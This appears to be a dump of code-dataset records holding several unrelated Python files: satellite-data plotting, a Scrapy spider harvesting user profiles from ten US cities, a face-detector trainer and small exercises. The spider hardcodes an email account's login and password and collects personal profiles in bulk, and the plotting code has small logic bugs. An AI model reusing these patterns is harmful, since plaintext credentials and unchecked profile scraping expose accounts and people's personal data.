axarr[-1].set_xlabel(xlabel)\n        if xlabel == 'time [hours]':\n            minor_locator = MultipleLocator(1)\n            major_locator = MultipleLocator(3)\n            axarr[0].xaxis.set_major_locator(major_locator)\n            axarr[0].xaxis.set_minor_locator(minor_locator)\n\n        if npanels > 1:\n            plt.setp([a.get_xticklabels()\n                      for a in fig.axes[:-1]], visible=False)\n\n        # add annotation and save figure\n        self.__add_copyright(axarr[-1])\n        self.__add_fig_box(fig, fig_info)\n        self.__close_this_page(fig)\n\n    # --------------------------------------------------\n    def draw_lines(self, xdata, ydata, *, color=0,\n                   xlabel=None, ylabel=None, xlim=None, ylim=None,\n                   title=None, sub_title=None, fig_info=None, **kwargs):\n        \"\"\"\n        Display multiple 1D-data sets sharing the same x-axis.\n\n        Parameters\n        ----------\n        xdata     :  ndarray\n           x-axis data\n           Special case if xdata is None then close figure\n        ydata     :  ndarray\n           y-axis data\n        color     :  integer, optional\n           index to color in tol_colors.tol_cset('bright'). Default is zero\n        title     :  string, optional\n           Title of the figure. Default is None\n           Suggestion: use attribute \"title\" of data-product\n        sub_title :  string, optional\n           Sub-title of the figure. Default is None\n           Suggestion: use attribute \"comment\" of data-product\n        fig_info  :  FIGinfo, optional\n           OrderedDict holding meta-data to be displayed in the figure\n        **kwargs :   other keywords\n           Pass all other keyword arguments to matplotlib.pyplot.plot()\n\n        Returns\n        -------\n        Nothing\n\n        Examples\n        --------\n        General example:\n        >>> plot = S5Pplot(fig_name)\n        >>> for ii, xx, yy in enumerate(data_of_each_line):\n        >>>    plot.draw_lines(xx, yy, color=ii, label=mylabel[ii],\n        >>>                    marker='o', linestyle='None')\n        >>> plot.draw_lines(None, None, xlim=[0, 0.5], ylim=[-10, 10],\n        >>>                 xlabel=my_xlabel, ylabel=my_ylabel)\n        >>> plot.close()\n\n        Using a time-axis:\n        >>> from datetime import datetime, timedelta\n        >>> tt0 = (datetime(year=2020, month=10, day=1)\n        >>>        + timedelta(seconds=sec_in_day))\n        >>> tt = [tt0 + xx * t_step for xx in range(yy.size)]\n        >>> plot = S5Pplot(fig_name)\n        >>> plot.draw_lines(tt, yy, color=1, label=mylabel,\n        >>>                 marker='o', linestyle='None')\n        >>> plot.draw_line(None, None, ylim=[-10, 10],\n        >>>                xlabel=my_xlabel, ylabel=my_ylabel)\n        >>> plot.close()\n        \"\"\"\n        # add annotation and close figure\n        if xdata is None:\n            if self.__mpl is None:\n                raise ValueError('No plot defined and no data provided')\n\n            if fig_info is None:\n                fig_info = FIGinfo()\n\n            # finalize figure\n            if self.__mpl['time_axis']:\n                plt.gcf().autofmt_xdate()\n                my_fmt = mpl.dates.DateFormatter('%H:%M:%S')\n                plt.gca().xaxis.set_major_formatter(my_fmt)\n\n            self.__mpl['axarr'].grid(True)\n            if xlabel is not None:\n                self.__mpl['axarr'].set_xlabel(xlabel)\n            if ylabel is not None:\n                self.__mpl['axarr'].set_ylabel(ylabel)\n            if xlim is not None:\n                self.__mpl['axarr'].set_xlim(xlim)\n            if ylim is not None:\n                self.__mpl['axarr'].set_ylim(ylim)\n            if 'xscale' in kwargs:\n                self.__mpl['axarr'].set_xscale(kwargs['xscale'])\n            if 'yscale' in kwargs:\n                self.__mpl['axarr'].set_ylabel(kwargs['yscale'])\n\n            # draw titles (and put it at the same place)\n            if title is not None:\n                ypos = 1 - 0.3 / self.__mpl['fig'].get_figheight()\n                self.__mpl['fig'].suptitle(title, fontsize='x-large',\n                                           position=(0.5, ypos),\n                                           horizontalalignment='center')\n            if sub_title is not None:\n                self.__mpl['axarr'].set_title(sub_title, fontsize='large')\n\n            # draw legenda in figure\n            if self.__mpl['axarr'].get_legend_handles_labels()[1]:\n                self.__mpl['axarr'].legend(fontsize='small', loc='best')\n\n            # draw copyright\n            self.__add_copyright(self.__mpl['axarr'])\n\n            # close page\n            self.__add_fig_box(self.__mpl['fig'], fig_info)\n            self.__close_this_page(self.__mpl['fig'])\n            self.__mpl = None\n            return\n\n        # define colors\n        cset = tol_cset('bright')\n        c_max = len(cset)\n\n        # initialize matplotlib using 'subplots'\n        if self.__mpl is None:\n            if len(xdata) <= 256:\n                figsize = (8, 8)\n            elif 256 > len(xdata) <= 512:\n                figsize = (10, 8)\n            elif 512 > len(xdata) <= 768:\n                figsize = (12, 8)\n            else:\n                figsize = (14, 8)\n\n            self.__mpl = dict(zip(('fig', 'axarr'),\n                                  plt.subplots(1, figsize=figsize)))\n            if isinstance(xdata[0], datetime):\n                self.__mpl['time_axis'] = True\n            else:\n                self.__mpl['time_axis'] = False\n\n        use_steps = False\n        if use_steps:\n            xx = np.append(xdata, xdata[-1])\n            yy = np.append(ydata, ydata[-1])\n            self.__mpl['axarr'].step(xx, yy, where='post',\n                                     color=cset[color % c_max],\n                                     **kwargs)\n        else:\n            self.__mpl['axarr'].plot(xdata, ydata,\n                                     color=cset[color % c_max],\n                                     **kwargs)\n\n    # --------------------------------------------------\n    def draw_qhist(self, xds, *, title=None, density=True, fig_info=None):\n        \"\"\"\n        Display pixel-quality data as histograms.\n\n        Parameters\n        ----------\n        xds : xarray.Dataset\n           Xarray Dataset containing pixel quality and its submasks\n        title :  string\n           Title of the figure. Default is None\n           Suggestion: use attribute \"title\" of data-product\n        density : bool\n           If True, draw and return a probability density: each bin will\n           display the bin's raw count divided by the total number of counts\n           and the bin width (see matplotlib.pyplot.hist). Default is True\n        fig_info :  FIGinfo\n           OrderedDict holding meta-data to be displayed in the figure\n\n        The information provided in the parameter 'fig_info' will be displayed\n        in a small box. In addition, we display the creation date, signal\n        median & spread and error meadian & spread.\n        \"\"\"\n        if fig_info is None:\n            fig_info = FIGinfo()\n\n        # define colors\n        cset = tol_cset('bright')\n\n        # initialize matplotlib using 'subplots'\n        npanels = len(xds.data_vars)\n        figsize = (10., 1 + (npanels + 1) * 1.65)\n        fig, axarr = plt.subplots(npanels, sharex=True, figsize=figsize)\n        if npanels == 1:\n            axarr = [axarr]\n        margin = min(1. / (1.8 * (npanels + 1)), .25)\n        fig.subplots_adjust(bottom=margin, top=1-margin, hspace=0.02)\n\n        # draw titles (and put it at the same place)\n        if title is not None:\n            ypos = 1 - 0.3 / fig.get_figheight()\n            fig.suptitle(title, fontsize='x-large',\n                         position=(0.5, ypos), horizontalalignment='center')\n        axarr[0].set_title('Histograms of pixel-quality',\n                           fontsize='large')\n\n        # draw histograms\n        for ii, (key, xda) in enumerate(xds.data_vars.items()):\n            xda = xda.squeeze()\n            try:\n                check_data2d('quality', xda)\n            except Exception as exc:\n                raise RuntimeError('invalid input-data provided') from exc\n\n            if isinstance(xda, np.ndarray):\n                data = xda[swir_region.mask()]\n                long_name = key\n            else:\n                data = xda.values[swir_region.mask()]\n                long_name = xda.attrs['long_name']\n            data[np.isnan(data)] = 0.\n\n            axarr[ii].hist(data, bins=11, range=[-.1, 1.],\n                           histtype='stepfilled', log=True,\n                           density=density, color=cset.blue)\n            # axarr[ii].set_yscale('log', nonpositive='clip')\n            axarr[ii].set_xlim([0, 1])\n            axarr[ii].set_ylabel('density')\n            axarr[ii].set_ylim([1e-4, 10])\n            axarr[ii].set_yticks([1e-4, 1e-3, 1e-2, 1e-1, 1])\n            axarr[ii].grid(which='major', color='#BBBBBB',\n                           lw=0.75, ls=(0, (1, 5)))\n            legenda = axarr[ii].legend([blank_legend_key()],\n                                       [long_name], loc='upper left')\n            legenda.draw_frame(False)\n\n        axarr[-1].set_xlabel('pixel quality')\n\n        # add annotation and save figure\n        self.__add_copyright(axarr[-1])\n        self.__add_fig_box(fig, fig_info)\n        self.__close_this_page(fig)\n\n    # --------------------------------------------------\n    def draw_tracks(self, lons, lats, icids, *, saa_region=None,\n                    title=None, fig_info=None):\n        \"\"\"\n        Display tracks of S5P on a world map using a Robinson projection\n\n        Parameters\n        ----------\n        lats       :  ndarray [N, 2]\n           Latitude coordinates at start and end of measurement\n        lons       :  ndarray [N, 2]\n           Longitude coordinates at start and end of measurement\n        icids      :  ndarray [N]\n           ICID of measurements per (lon, lat)\n        saa_region :  'ckd' or ndarray\n           Show SAA region. Its definition obtained from Tropomi Level-1B CKD,\n           or as a matplotlib polygon patch. Default None\n        title      :  string\n           Title of the figure. Default is None\n           Suggestion: use attribute \"title\" of data-product\n        fig_info   :  FIGinfo, optional\n           OrderedDict holding meta-data to be displayed in the figure\n\n        The information provided in the parameter 'fig_info' will be displayed\n        in a small box.\n        \"\"\"\n        if not FOUND_CARTOPY:\n            raise RuntimeError('You need Cartopy to run this function')\n\n        if fig_info is None:\n            fig_info = FIGinfo()\n\n        # define colors\n        cset = tol_cset('bright')\n\n        # define plot layout\n        myproj = ccrs.Robinson(central_longitude=11.5)\n        fig, axx = plt.subplots(figsize=(12.85, 6),\n                                subplot_kw={'projection': myproj})\n        axx.set_global()\n        axx.coastlines(resolution='110m')\n        axx.gridlines()\n        axx.set_title('ground-tracks of Sentinel-5P')\n\n        if title is not None:\n            ypos = 1 - 0.3 / fig.get_figheight()\n            fig.suptitle(title, fontsize='x-large',\n                         position=(0.5, ypos), horizontalalignment='center')\n\n        # draw SAA region\n        if saa_region is not None:\n            if saa_region in ('ckd', 'CKD'):\n                with CKDio() as ckd:\n                    res = ckd.saa()\n                saa_region = list(zip(res['lon'], res['lat']))\n\n            saa_poly = mpl.patches.Polygon(\n                xy=saa_region, closed=True, alpha=1.0,\n                facecolor=cset.grey, transform=ccrs.PlateCarree())\n            axx.add_patch(saa_poly)\n\n        # draw satellite position(s)\n        icid_found = []\n        for lon, lat, icid in zip(lons, lats, icids):\n            if icid not in icid_found:\n                indx_color = len(icid_found)\n            else:\n                indx_color = icid_found.index(icid)\n            line, = plt.plot(lon, lat, linestyle='-', linewidth=3,\n                             color=cset[indx_color % 6],\n                             transform=ccrs.PlateCarree())\n            if icid not in icid_found:\n                line.set_label(f'ICID: {icid}')\n                icid_found.append(icid)\n\n        # finalize figure\n        axx.legend(loc='lower left')\n        self.__add_copyright(axx)\n        self.__add_fig_box(fig, fig_info)\n        self.__close_this_page(fig)\n","sub_path":"src/pys5p/s5p_plot.py","file_name":"s5p_plot.py","file_ext":"py","file_size_in_byte":64661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"648391697","text":"import scrapy\nimport json\n# It seems like this reference is wrong but due to the different invocation of scrapy it is right\nimport logging\nfrom scrapy_new_users.helpers.locationLinkProvider import getAllLinks\nimport time\nimport psutil\nimport os\nfrom email import encoders\nfrom email.mime.base import MIMEBase\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nimport smtplib\n\n\"\"\"\nDie Spider erhaelt von der Klasse locationLinkProvider die URLs zu saemtlichen Gastgebern aus einer bestimmten Stadt,\n besucht diese URLs und leitet die erhaltenen Daten an die Item-Pipeline weiter.\n\"\"\"\n\n\nclass FetchProfileKeysSpider(scrapy.Spider):\n\n    # Liste der Staedte aus denen die Profile besucht werden sollen\n    cities_to_crawl = [\"New York\", \"Los Angeles\", \"Chicago\", \"Houston\", \"Phoenix\", \"Philadelphia\", \"San Antonio\",\n                       \"San Diego\", \"Dallas\", \"San Jose\"]\n    # Die Startzeit wird zur Bestimmung der CrawlID benoetigt\n    start_time = time.strftime(\"%d.%m.%y - %X\")\n    # Das Datum wird zur Bestimmung des JoinDates des Nutzers verwendet (man koentte auch die Startzeit nehmen)\n    join_date = time.strftime(\"%d.%m.%y\")\n    # Eigentlich nicht notwendig\n    start_time_2 = time.time()\n\n    name = \"fetch_profile_keys\"\n    # Hier werden die Eigenschaften für die Spider gesetzt. Diese sind in der Thesis genauer beschrieben\n    custom_settings = {\n        'ITEM_PIPELINES': {\n            'scrapy_new_users.pipelines.KeyStoragePipeline': 300,\n        },\n        'AUTOTHROTTLE_ENABLED': True,\n        'AUTOTHROTTLE_START_DELAY': 5,\n        'AUTOTHROTTLE_MAX_DELAY': 50,\n        'AUTOTHROTTLE_TARGET_CONCURRENCY': 1.0,\n        'AUTOTHROTTLE_DEBUG': True,\n        'LOG_FILE': \"../../log/fetch_profiles_keys_\" + str(start_time).replace(\" - \", \"_\").replace(\":\", \"_\") + \".log\",\n        'LOG_ENABLED': True,\n        'LOG_LEVEL': logging.DEBUG,\n        'LOG_FORMAT': '%(asctime)s: %(module)s: %(message)s',\n        'LOG_STDOUT': True,\n        'LOG_SHORT_NAMES': False\n    }\n\n    # Einstellungen des Loggers werden gesetzt\n    def __init__(self, *args, **kwargs):\n        logger = logging.getLogger('fetch_profile_keys')\n        logger.addHandler(logging.StreamHandler())\n        super().__init__(*args, **kwargs)\n    \"\"\"\n    In der Funktion start_requests() werden zunaechst alle zu besuchenden URLs von der Klasse locationLinkProvider\n    angefragt. Die Liste der Städte wird in der Spider deklariert und kann demnach erweiterung oder veraendert werden.\n    \"\"\"\n    def start_requests(self):\n        # Für die Log-Datei wird erfasst wie viele (der 10) Staedten schon besucht wurde\n        city_number = 0\n        # Es wird iteriert über die Liste der Staedte\n        for city in self.cities_to_crawl:\n            city_number = city_number + 1\n            # Hier wird die Funktion getAllLinks der Klasse lcoationLinkProvider verwendet\n            urls = getAllLinks(city)\n            # Jede Seite beinhaltet 10 Nutzer, daher die Multiplikation um den Faktor 10\n            city_users = len(urls)*10\n            self.logger.info(\"Getting URLs of the profiles in \" + city)\n            url_number = 0\n            # Jede URL wird einzeln...\n            for url in urls:\n                url_number = url_number+10\n                # an die Funktion parse() uebergeben (via ScrapyRequest) Dabei werden einige Meta-Information mituebergeben\n                # Diese werden für Logging und für das Schreiben in die MongoDB Collection verwendet\n                yield scrapy.Request(url=url, callback=self.parse, meta={\"city\": city, \"city_number\": city_number, \"city_users\": city_users, \"url_number\": url_number})\n\n    # Die Funktion parse() wirkt als Callback-Funktion und verarbeitet die uebergebenen URLs der Funktion start_requests\n    def parse(self, response):\n        # responseBody ist quasi das was einem angezeigt zeigt wird man die URL in einem Browser besucht\n        # In dieser Spider quasi eine JSON-Datei mit den Ergebnissen der Suchanfrage nach allen Gastgebern einer Stadt\n        responseBody = response.body\n        # Die JSON-Datei muss verarbeitet werden\n        usersArray = json.loads(response.body_as_unicode())\n        # in \"results\" befinden sich die Daten zu den einzelnen Nutzern\n        users = usersArray['results']\n        # Hier werden einige Sachen geloggt\n        # Welche Stadt wird zur Zeit gecrawlt?\n        self.logger.info(\"Putting 10 users from \"+ response.meta[\"city\"] +\" (City No. \"+ str(response.meta[\"city_number\"]) +\") into the pipeline\")\n        # Wieviele User wurden schon gecrawlt? Wie viele muessen gecrawlt werden?\n        self.logger.info(str(response.meta[\"url_number\"]) + \" of \" + str(response.meta[\"city_users\"]) + \" profiles have been crawled. (\" + str(int((response.meta[\"url_number\"]/response.meta[\"city_users\"])*100)) + \"% of \"+ response.meta[\"city\"] +\")\")\n        elapsed_time = time.time() - self.start_time_2\n        # Wie lange laeuft der Crawl schon?\n        self.logger.info(\"Elapsed time so far: \" + str(elapsed_time).split(\".\")[0] + \" seconds\")\n        # Wie ist die derzeitige CPU-Auslastung?\n        self.logger.debug(\"CPU (%) : \" + str(psutil.cpu_percent()) + \", Virtual Memory (%) : \" + str(psutil.virtual_memory().percent))\n        # Hier werden die Nutzer an die Item-Pipeline weitergegeben\n        yield {'users': users, \"city\": response.meta[\"city\"], \"join_date\": self.join_date}\n\n    # Wenn der Crawl fertig ist, soll eine E-Mail mit der Log-Datei angehaengt geschickt werden\n    def close(self, spider, reason):\n        #Dies ist eine angelegte Mailadresse für den Zweck der Versendung der Log-Datei\n        fromaddr = \"couchcrawler@gmx.de\"\n        # Zu welcher Adresse soll die Mail verschickt werden?\n        # Muss ausgefüllt werden, ist zur Zeit leer, damit ich nicht ständig zugespammt werde\n        toaddr = \"\"\n        msg = MIMEMultipart()\n        msg['From'] = fromaddr\n        msg['To'] = toaddr\n        # Betreffzeile der E-Mail\n        msg['Subject'] = \"New User Crawler - Key Fetcher - Log von \" + str(time.strftime(time.strftime(\"%d.%m - %X\")))\n        # Der Text in der E-Mail\n        body = \"Der Key Fetcher hat aufgehört zu laufen.\"\n        msg.attach(MIMEText(body, 'plain'))\n        # Hier wird die Log-Datei an die Mail angehängt\n        filename = self.custom_settings[\"LOG_FILE\"]\n        attachment = open(os.getcwd() + \"/\" + filename)\n        part = MIMEBase('application', 'octet-stream')\n        part.set_payload((attachment).read())\n        encoders.encode_base64(part)\n        part.add_header('Content-Disposition', \"attachment; filename= %s\" % filename)\n        msg.attach(part)\n        # Die verwendete Mailadresse ist von GMX\n        server = smtplib.SMTP(\"mail.gmx.net\", 587)\n        server.starttls()\n        # Passwort der couchcrawler-Mailadresse\n        server.login(fromaddr, \"couchcrawler123\")\n        text = msg.as_string()\n        server.sendmail(fromaddr, toaddr, text)\n        server.quit()","sub_path":"src/scrapers/scrapy_new_users/spiders/fetch_profile_keys.py","file_name":"fetch_profile_keys.py","file_ext":"py","file_size_in_byte":6944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"345170459","text":"import requests\nimport yaml\nimport sqlite3\nimport db.create_db\n\n\n# with open('./config.yml', 'r') as stream:\n#     try:\n#         CONFIG = yaml.safe_load(stream)\n#         POE_API_URL = CONFIG['poe_api']['poe_api_url']\n#     except yaml.YAMLError as exc:\n#         print(exc)\n\ndef retrieve_config():\n    '''\n\n    '''\n\n    with open('./config.yml', 'r') as stream:\n        try:\n            config = yaml.safe_load(stream)\n        except yaml.YAMLError as e:\n            print(e)\n\n    return config\n\n\ndef retrieve_last_change_id():\n    '''\n\n    '''\n\n\n    last_change_id = '1'\n\n    return last_change_id\n\n\ndef download_stash():\n\n    CONFIG = retrieve_config()\n    POE_API_URL = CONFIG['poe_api']['poe_api_url']\n\n    last_change_id = retrieve_last_change_id()\n    last_stash = requests.get(POE_API_URL+'?id:'+last_change_id)\n    \n    print(requests.Response())\n\n","sub_path":"poe_api/api_stream.py","file_name":"api_stream.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"11477661","text":"# -*- coding:utf-8 -*-\nimport random\n\n\nclass Solution:\n    def MoreThanHalfNum_Solution(self, numbers):\n        if len(numbers) <= 0:\n            return None\n\n        length = len(numbers)\n        l, r = 0, length - 1\n        middle = length >> 1\n        m_left, m_right = self.partition(numbers, l, r)\n        while middle not in range(m_left, m_right+1):\n            if middle < m_left:\n                r = m_left - 1\n                m_left, m_right = self.partition(numbers, l, r)\n            else:\n                l = m_right + 1\n                m_left, m_right = self.partition(numbers, l, r)\n\n        return numbers[middle] if numbers.count(numbers[middle]) > length // 2 else 0\n\n    def partition(self, numbers, l, r):\n        \"\"\"快排partition过程\n\n        Arguments:\n            numbers {list} -- 数组\n            l {int} -- 左边界\n            r {int} -- 右边界\n\n        Returns:\n            tuple -- 第一个元素为本轮选中元素占据的最左索引，第二个元素为本轮选中元素占据的最右索引\n                     如果本轮选中元素在数组中只有一个，那么tuple中两个元素就是相等的。\n        \"\"\"\n\n        self.swap(numbers, random.randint(l, r), r)\n        start = l - 1\n        end = r\n        while l < end:\n            if numbers[l] < numbers[r]:\n                start += 1\n                if start != l:\n                    self.swap(numbers, start, l)\n                l += 1\n            elif numbers[l] == numbers[r]:\n                l += 1\n            else:\n                end -= 1\n                self.swap(numbers, l, end)\n        self.swap(numbers, end, r)\n        return start + 1, end\n\n    def swap(self, numbers, i, j):\n        numbers[i], numbers[j] = numbers[j], numbers[i]\n\n\nif __name__ == \"__main__\":\n    nums = [3, 45, 6, 7, 6]\n    ex = Solution()\n    print(ex.MoreThanHalfNum_Solution(nums))\n","sub_path":"39_get_num_occur_more_than_half_times.py","file_name":"39_get_num_occur_more_than_half_times.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"509940190","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 14 04:11:49 2017\n\n@author: Administrator\n\"\"\"\n\nimport cv2\nimport os\nimport numpy as np\n\n\nblob =  cv2.SimpleBlobDetector_create()\norb = cv2.ORB_create()\nfast = cv2.FastFeatureDetector_create()\nTrain_data = \"C:/Users/Administrator/Desktop/comres/Train/data_00/\"\nfor i in os.listdir(Train_data):\n    img = cv2.imread(Train_data+i,0)\n    img_blur = cv2.medianBlur(img,5)\n    keypoints = blob.detect(img_blur)\n    keypoints2 = orb.detect(img_blur)\n    keypoints3 = fast.detect(img_blur)\n    img_out = cv2.drawKeypoints(img, keypoints, np.array([]), (0,0,255), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n    img_out2 = cv2.drawKeypoints(img, keypoints2, np.array([]), (0,0,255), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n    img_out3 = cv2.drawKeypoints(img, keypoints3, np.array([]), (0,0,255), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n    cv2.imwrite(Train_data.replace(\"00\",\"02\")+i,img_out)\n    cv2.imwrite(Train_data.replace(\"00\",\"03\")+i,img_out2)\n    cv2.imwrite(Train_data.replace(\"00\",\"04\")+i,img_out3)","sub_path":"test01.py","file_name":"test01.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"417169777","text":"\"\"\"\nimport sys for regex\nand exit codes\n\"\"\"\nimport sys\n\ndef reverse(text):\n    \"\"\"\n    recursion would be nice :-)\n    \"\"\"\n    try:\n        if not isinstance(text, str):\n            raise TypeError\n    except TypeError:\n        print('input must be a string')\n        sys.exit(2)\n    return text[::-1]\n","sub_path":"python/reverse-string/reverse_string_2.py","file_name":"reverse_string_2.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"395843382","text":"import tensorflow as tf\nimport numpy as np\nimport csv\nimport utils\nfrom tensorflow_vgg import vgg16\nfrom os import remove\nfrom os.path import isfile, isdir\nfrom sklearn.model_selection import StratifiedShuffleSplit\n\nclass Face_Detector:\n    def __init__(self, img_paths, outputs):\n        self.X = img_paths;\n        self.Y = outputs;\n        #remove previous files for codes, labels if they exist\n        \"\"\"\n        if isfile(\"codes\"):\n            remove(\"codes\")\n        if isfile(\"labels\"):\n            remove(\"labels\")\n        \"\"\"\n        #write and get the labels from Y\n        with open('labels', 'w') as f:\n            writer = csv.writer(f, delimiter='\\n')\n            writer.writerow(self.Y)\n        with open('labels') as f:\n            reader = csv.reader(f, delimiter='\\n')\n            self.labels = np.array([each for each in reader if len(each) > 0]).squeeze()\n            #remove the following line after done testing\n            self.labels = self.labels[:-1] #last image was not processed so dropping the corresponding label\n            self.labels = self.labels.reshape(len(self.labels),1)\n\n        self.codes = self.gen_codes(self.X)\n\n        assert(len(self.codes) % len(self.labels) == 0)\n\n        ss = StratifiedShuffleSplit(n_splits=1, test_size=0.2)\n        train_range, test_range = next(ss.split(self.codes, self.labels))\n        split_index = int(len(test_range)/2)\n        val_range, test_range = test_range[:split_index], test_range[split_index:]\n\n        self.X_train, self.Y_train = self.codes[train_range], self.labels[train_range]\n        self.X_val, self.Y_val = self.codes[val_range], self.labels[val_range]\n        self.X_test, self.Y_test = self.codes[test_range], self.labels[test_range]\n\n        print(\"Train shapes (x, y):\", self.X_train.shape, self.Y_train.shape)\n        print(\"Validation shapes (x, y):\", self.X_val.shape, self.Y_val.shape)\n        print(\"Test shapes (x, y):\", self.X_test.shape, self.Y_test.shape)\n\n        self.W = {'w1' : tf.Variable(tf.truncated_normal([self.X_train.shape[1], 256])),\n             'w2' : tf.Variable(tf.truncated_normal([256,1]))}\n        self.b = {'b1' : tf.Variable(tf.truncated_normal([256])),\n             'b2' : tf.Variable(tf.truncated_normal([1]))}\n\n        self.inputs_ = tf.placeholder(tf.float32, [None,self.X_train.shape[1]])\n        self.labels_ = tf.placeholder(tf.float32, [None,1])\n\n        self.logits = Face_Detector.mlp_network(self.inputs_,self.W,self.b)\n\n        self.cross_entropy = tf.nn.sigmoid_cross_entropy_with_logits(labels=self.labels_, logits=self.logits)\n        self.cost = tf.reduce_mean(self.cross_entropy)\n        self.optimizer = tf.train.AdamOptimizer().minimize(self.cost)\n        self.correct_pred = tf.equal(tf.argmax(self.logits,1), tf.argmax(self.labels_,1))\n        self.accuracy = tf.reduce_mean(tf.cast(self.correct_pred, tf.float32))\n        self.init = tf.global_variables_initializer()\n\n        self.train_test_face_detector(self.labels, self.X_train,\n                                        self.Y_train, self.X_val,\n                                        self.Y_val, self.X_test, self.Y_test)\n\n\n    def gen_codes(self, X, use_existing=True, write_to=True):\n        # X is list of input images' paths\n        # Y is the list of corresponding labels, None if predicting\n        #pass img data through network up to fc7 (b/c fc7 will be modified)\n        #returns the codes of the images being passed through VGG\n        if isfile(\"codes\") and use_existing:\n            print(\"codes already exist, loading them now...\")\n            with open(\"codes\") as f:\n                codes = np.fromfile(f, dtype=np.float32)\n                codes = codes.reshape((len(self.labels), -1))\n                return codes\n\n        #otherwise generate codes\n        codes = None #new inputs\n        batch = list()\n        batch_size = 10\n\n        print(\"generating codes now...\")\n\n        with tf.Session() as sess:\n            inputs_ = tf.placeholder(tf.float32, [None, 224, 224, 3])\n            vgg = vgg16.Vgg16()\n            with tf.name_scope(\"content_vgg\"):\n                vgg.build(inputs_)\n            #print(vgg.relu6.get_shape().as_list())\n            for i, entry in enumerate(X):\n                img = utils.load_image(entry)\n                assert(img.shape == (224,224,3))\n                batch.append(img)\n                if ((i % batch_size == 0) or i == len(X)-1):\n                    images = np.array(batch)\n                    feed_dict = {inputs_ : images}\n                    code_batch = sess.run(vgg.relu6, feed_dict=feed_dict)\n                    #update the codes\n                    if codes is None:\n                        codes = code_batch\n                    else:\n                        codes = np.concatenate((codes, code_batch))\n                    assert(len(codes) == i+1)\n                    assert(vgg.relu6.get_shape()[1]*(i+1) == utils.get_total_entries(codes))\n                    batch = [] #reset the batch\n                    print('{} total images processed'.format(i))\n        if write_to:\n            # write codes to file\n            with open('codes', 'w') as f:\n                codes.tofile(f)\n\n        return codes\n\n    ############### General network structures and computations ################\n\n    @staticmethod\n    def mlp_network(x,W,b):\n        fc = tf.add(tf.matmul(x,W['w1']),b['b1'])\n        fc = tf.nn.relu(fc)\n        out = tf.add(tf.matmul(fc,W['w2']),b['b2'])\n        return out\n\n\n    #########################  training  ###########################\n\n    def train_test_face_detector(self, labels, X_train, Y_train, X_val, Y_val, X_test, Y_test):\n        epochs = 10\n        iteration = 0\n        saver = tf.train.Saver()\n        with tf.Session() as sess:\n            sess.run(self.init)\n            for e in range(epochs):\n                for x, y in utils.get_batches(X_train, Y_train):\n                    feed = {self.inputs_: x,\n                            self.labels_: y}\n                    loss, _ = sess.run([self.cost, self.optimizer],\n                                        feed_dict=feed)\n                    print(\"Epoch: {}/{}\".format(e+1, epochs),\n                          \"Iteration: {}\".format(iteration),\n                          \"Training loss: {:.5f}\".format(loss))\n                    iteration += 1\n\n                    if iteration % 5 == 0:\n                        feed = {self.inputs_: X_val,\n                                self.labels_: Y_val}\n                        val_acc = sess.run(self.accuracy, feed_dict=feed)\n                        print(\"Epoch: {}/{}\".format(e, epochs),\n                              \"Iteration: {}\".format(iteration),\n                              \"Validation Acc: {:.4f}\".format(val_acc))\n            saver.save(sess, \"checkpoints/face_detector.ckpt\")\n\n        ######################### testing ########################\n\n        with tf.Session() as sess:\n            saver.restore(sess, tf.train.latest_checkpoint('checkpoints'))\n\n            feed = {self.inputs_: X_test,\n                    self.labels_: Y_test}\n            test_acc = sess.run(self.accuracy, feed_dict=feed)\n            print(\"Test accuracy: {:.4f}\".format(test_acc))\n        return\n\n    def detect(self, X):\n        # X : arr-type of paths to images\n        \n        with tf.Session() as sess:\n            input_ = tf.placeholder(tf.float32, [None, 224, 224, 3])\n            vgg = vgg16.Vgg16()\n            vgg.build(input_)\n            \n        print(\"generating codes for: \",X)\n        codes = self.gen_codes(X, use_existing=False, write_to=False)\n        print(codes.shape)\n\n        new_saver = tf.train.Saver()\n        with tf.Session() as sess:\n            #new_saver.restore(sess, tf.train.import_meta_graph('checkpoints/face_detector.ckpt.meta'))\n            new_saver.restore(sess, tf.train.latest_checkpoint('checkpoints'))\n\n            feed = {self.inputs_: codes}\n\n            predictions = sess.run(self.logits, feed_dict=feed)\n            predictions = sess.run(tf.nn.sigmoid(predictions))\n        return predictions\n","sub_path":"dog_app/face_detector.py","file_name":"face_detector.py","file_ext":"py","file_size_in_byte":8045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"444202321","text":"from unittest import TestCase\nfrom SquareDigitChain import SquareDigitChain\n\n\nclass TestSquareDigitChain(TestCase):\n    def test_square_digit_chain(self):\n        excepted = [85, 89]  # , 145, 42, 20, 4, 16, 37, 58]\n        excepted2 = [44, 32, 13, 10, 1]\n        self.assertEqual(excepted, SquareDigitChain(85).chain)\n        self.assertEqual(89, SquareDigitChain(85).end)\n        self.assertEqual(excepted2, SquareDigitChain(44).chain)\n        self.assertEqual(1, SquareDigitChain(44).end)\n","sub_path":"test_SquareDigitChain.py","file_name":"test_SquareDigitChain.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
